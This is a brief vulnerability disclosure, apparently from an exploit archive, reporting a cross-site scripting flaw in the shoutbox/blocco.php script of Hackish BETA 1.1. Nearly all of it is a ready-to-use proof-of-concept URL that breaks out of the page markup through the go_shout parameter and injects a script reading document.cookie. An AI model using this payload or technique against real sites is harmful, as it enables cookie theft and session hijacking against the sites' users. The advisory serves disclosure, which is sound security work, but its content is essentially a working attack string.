Hackish XSS in shoutbox/blocco.php

[deme@hackish.eu]

Hackish BETA 1.1 XSS
Discovered by Matrix86

Vendor: http://hackish.eu

POF
http://site.com/hackish/shoutbox/blocco.php?go_shout=Matrix86%3C/a%3E%3C/p%3E%3C/div%3E%3Chtml%3E%3Cscript%3Ealert(document.cookie) ;%3C/script%3E%3C/html%3E